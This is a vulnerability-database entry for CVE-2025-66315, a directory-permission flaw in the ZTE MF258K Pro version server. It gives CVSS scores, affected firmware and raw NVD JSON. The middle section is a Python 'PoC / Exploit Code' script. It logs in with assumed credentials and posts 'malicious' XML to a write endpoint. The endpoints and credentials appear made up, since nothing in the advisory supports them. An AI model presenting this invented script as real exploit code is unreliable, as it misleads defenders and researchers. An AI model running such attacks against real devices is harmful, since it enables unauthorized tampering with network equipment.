Security Vulnerability Report
中文
CVE-2025-66315 CVSS 4.3 MEDIUM

CVE-2025-66315

Published: 2026-01-09 03:15:48
Last Modified: 2026-03-12 19:26:11

Description

There is a configuration defect vulnerability in the version server of ZTE MF258K Pro products. Due to improper directory permission settings, an attacker can execute write permissions in a specific directory.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:zte:mf258k_pro_firmware:zte_mf258kpro_play_v1.0.0b03:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:zte:mf258k_pro_firmware:zte_mf258pro_std_v1.0.0b04:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:zte:mf258k_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
ZTE MF258K Pro (固件版本未明确)
ZTE MF258K Pro 版本服务器组件

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66315 PoC - ZTE MF258K Pro Directory Permission Misconfiguration This PoC demonstrates the directory permission vulnerability in ZTE MF258K Pro version server. Note: This is for educational and authorized testing purposes only. """ import requests import sys target = "http://target-device:8080" cve_id = "CVE-2025-66315" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-66315""" print(f"[*] Checking vulnerability: {cve_id}") print(f"[*] Target: {target}") # Step 1: Authenticate with low-privilege credentials login_url = f"{target}/api/login" credentials = { "username": "user", # Low-privilege user "password": "user123" } try: session = requests.Session() response = session.post(login_url, json=credentials, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Access version server directory version_server_url = f"{target}/api/version_server/directory" response = session.get(version_server_url, timeout=10) if response.status_code == 200: # Step 3: Attempt to write to the vulnerable directory write_url = f"{target}/api/version_server/directory/write" malicious_content = "<?xml version='1.0' encoding='UTF-8'?><config>malicious</config>" response = session.post(write_url, data=malicious_content, timeout=10) if response.status_code == 200: print("[+] VULNERABLE: Directory write permission is not properly restricted") print(f"[+] Successfully wrote to version server directory") return True else: print("[-] Not vulnerable or directory write is properly restricted") return False else: print("[-] Cannot access version server directory") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66315", "sourceIdentifier": "[email protected]", "published": "2026-01-09T03:15:47.670", "lastModified": "2026-03-12T19:26:10.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a configuration defect vulnerability in the version server of ZTE MF258K Pro products. Due to improper directory permission settings, an attacker can execute write permissions in a specific directory."}, {"lang": "es", "value": "Hay una vulnerabilidad por defecto de configuración en el servidor de versión de los productos ZTE MF258K Pro. Debido a una configuración de permisos de directorio inadecuada, un atacante puede ejecutar permisos de escritura en un directorio específico."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:zte:mf258k_pro_firmware:zte_mf258kpro_play_v1.0.0b03:*:*:*:*:*:*:*", "matchCriteriaId": "39A104C6-1FD9-4728-97BF-E9E02315A75F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:zte:mf258k_pro_firmware:zte_mf258pro_std_v1.0.0b04:*:*:*:*:*:*:*", "matchCriteriaId": "818A08A8-7708-4C7D-BF73-AD0EE14C1FBA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:zte:mf258k_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A10F0C3-3BAF-4ACF-82C2-61B03AF19F8C"}]}]}], "references": [{"url": "https://support.zte.com.cn/zte-iccp-isupport-webui/bulletin/detail/4891644183717871638", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}